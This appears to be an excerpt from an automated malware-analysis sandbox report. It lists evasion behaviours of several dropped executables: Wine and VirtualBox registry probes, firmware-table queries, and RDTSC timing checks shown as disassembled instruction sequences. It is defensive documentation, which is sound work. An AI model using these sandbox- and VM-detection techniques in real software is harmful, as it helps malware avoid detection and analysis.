Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2928 second address: 11E292C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1A2D second address: 11E1A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60513h 0x00000007 jmp 00007F76D8D6050Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F76D8D60506h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1BB7 second address: 11E1BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1BBC second address: 11E1BC1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1BC1 second address: 11E1BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F76D9275001h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1BDE second address: 11E1BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2190 second address: 11E219C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5628 second address: 11E562F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E562F second address: 11E5666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F76D9275008h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F76D9274FFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E56CD second address: 11E5732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60515h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007F76D8D60510h 0x00000011 pop edi 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 popad 0x00000019 nop 0x0000001a mov di, FB08h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 jmp 00007F76D8D60511h 0x00000026 pop esi 0x00000027 call 00007F76D8D60509h 0x0000002c push eax 0x0000002d push edx 0x0000002e jne 00007F76D8D6050Ch 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5732 second address: 11E580D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76D9274FFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007F76D9274FFAh 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F76D9274FFCh 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 jmp 00007F76D9274FFAh 0x00000026 pushad 0x00000027 jmp 00007F76D9274FFCh 0x0000002c push esi 0x0000002d pop esi 0x0000002e popad 0x0000002f popad 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 pushad 0x00000035 jmp 00007F76D9274FFAh 0x0000003a jmp 00007F76D9275007h 0x0000003f popad 0x00000040 pop eax 0x00000041 push 00000003h 0x00000043 sub esi, 1E72193Dh 0x00000049 push 00000000h 0x0000004b call 00007F76D9275000h 0x00000050 sub dword ptr [ebp+122D2F1Eh], ecx 0x00000056 pop edi 0x00000057 push 00000003h 0x00000059 mov dword ptr [ebp+122D2EE3h], eax 0x0000005f push 975FB510h 0x00000064 push edx 0x00000065 jl 00007F76D9274FF8h 0x0000006b pop edx 0x0000006c xor dword ptr [esp], 575FB510h 0x00000073 movzx edi, cx 0x00000076 lea ebx, dword ptr [ebp+1245A552h] 0x0000007c push eax 0x0000007d pushad 0x0000007e jnc 00007F76D9274FFCh 0x00000084 pushad 0x00000085 jmp 00007F76D9275001h 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5883 second address: 11E592A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and ecx, 369BF0E6h 0x00000010 push 00000000h 0x00000012 adc edx, 11FFD915h 0x00000018 push 6B1891A1h 0x0000001d jno 00007F76D8D60518h 0x00000023 xor dword ptr [esp], 6B189121h 0x0000002a jmp 00007F76D8D60518h 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F76D8D60508h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b mov si, ax 0x0000004e push 00000000h 0x00000050 add ch, FFFFFF87h 0x00000053 push 00000003h 0x00000055 mov edx, 61C4517Bh 0x0000005a call 00007F76D8D60509h 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jo 00007F76D8D60506h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E592A second address: 11E5934 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F76D9274FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5934 second address: 11E596E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76D8D6051Dh 0x00000008 jmp 00007F76D8D60517h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F76D8D60512h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E596E second address: 11E598F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jo 00007F76D9274FFEh 0x00000012 push ecx 0x00000013 jns 00007F76D9274FF6h 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E598F second address: 11E59A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E59A2 second address: 11E59BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jg 00007F76D9275008h 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F76D9274FF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5B1C second address: 11E5B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5B20 second address: 11E5B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206574 second address: 1206579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206579 second address: 120659C instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D927500Ch 0x00000008 jmp 00007F76D9275006h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD552 second address: 11DD565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 je 00007F76D8D60506h 0x0000000c jg 00007F76D8D60506h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD565 second address: 11DD56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD56B second address: 11DD584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60515h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD584 second address: 11DD58A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD58A second address: 11DD59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007F76D8D60512h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD59B second address: 11DD5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD5A1 second address: 11DD5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F76D8D60506h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12044A1 second address: 12044A6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120460C second address: 1204636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F76D8D60518h 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jp 00007F76D8D60506h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204636 second address: 1204654 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275004h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204654 second address: 120466D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F76D8D60506h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120466D second address: 1204671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120495B second address: 1204964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204964 second address: 120496E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F76D9274FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120496E second address: 1204972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204A96 second address: 1204AAF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F76D9274FF6h 0x00000008 jno 00007F76D9274FF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jp 00007F76D9274FF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204D52 second address: 1204D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F76D8D60506h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204D5D second address: 1204D72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275000h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204D72 second address: 1204D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12052DF second address: 12052EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F76D9274FF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12052EB second address: 12052F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12052F1 second address: 12052FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12052FD second address: 1205301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12056FB second address: 1205701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205701 second address: 1205712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jp 00007F76D8D60508h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205712 second address: 1205726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D9275000h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205726 second address: 120572A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205C98 second address: 1205C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205C9C second address: 1205CC6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F76D8D60506h 0x00000012 jmp 00007F76D8D60518h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205CC6 second address: 1205CE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F76D9275009h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205CE5 second address: 1205D01 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D8D60517h 0x00000008 jmp 00007F76D8D60511h 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D84C4 second address: 11D84C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C4B0 second address: 120C500 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jns 00007F76D8D60511h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007F76D8D6050Ch 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ecx 0x0000001f pushad 0x00000020 jmp 00007F76D8D60513h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9251 second address: 11C9294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275006h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F76D9274FFBh 0x0000000e jmp 00007F76D9275004h 0x00000013 popad 0x00000014 pushad 0x00000015 je 00007F76D9274FFCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F9D6 second address: 120F9F8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76D8D60506h 0x00000008 ja 00007F76D8D60506h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F76D8D60506h 0x0000001c jl 00007F76D8D60506h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F9F8 second address: 120F9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12136E9 second address: 121370F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 05669D42h 0x00000011 mov dword ptr [ebp+122D2ED8h], edi 0x00000017 push F497D719h 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f jc 00007F76D8D60506h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121370F second address: 1213715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213B6C second address: 1213B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12142E5 second address: 12142FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F76D9274FFBh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12146C1 second address: 12146C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12146C6 second address: 12146EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D9275003h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214DCE second address: 1214DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214DD2 second address: 1214DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a ja 00007F76D9274FF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214DE4 second address: 1214DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214DE9 second address: 1214E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D9275003h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
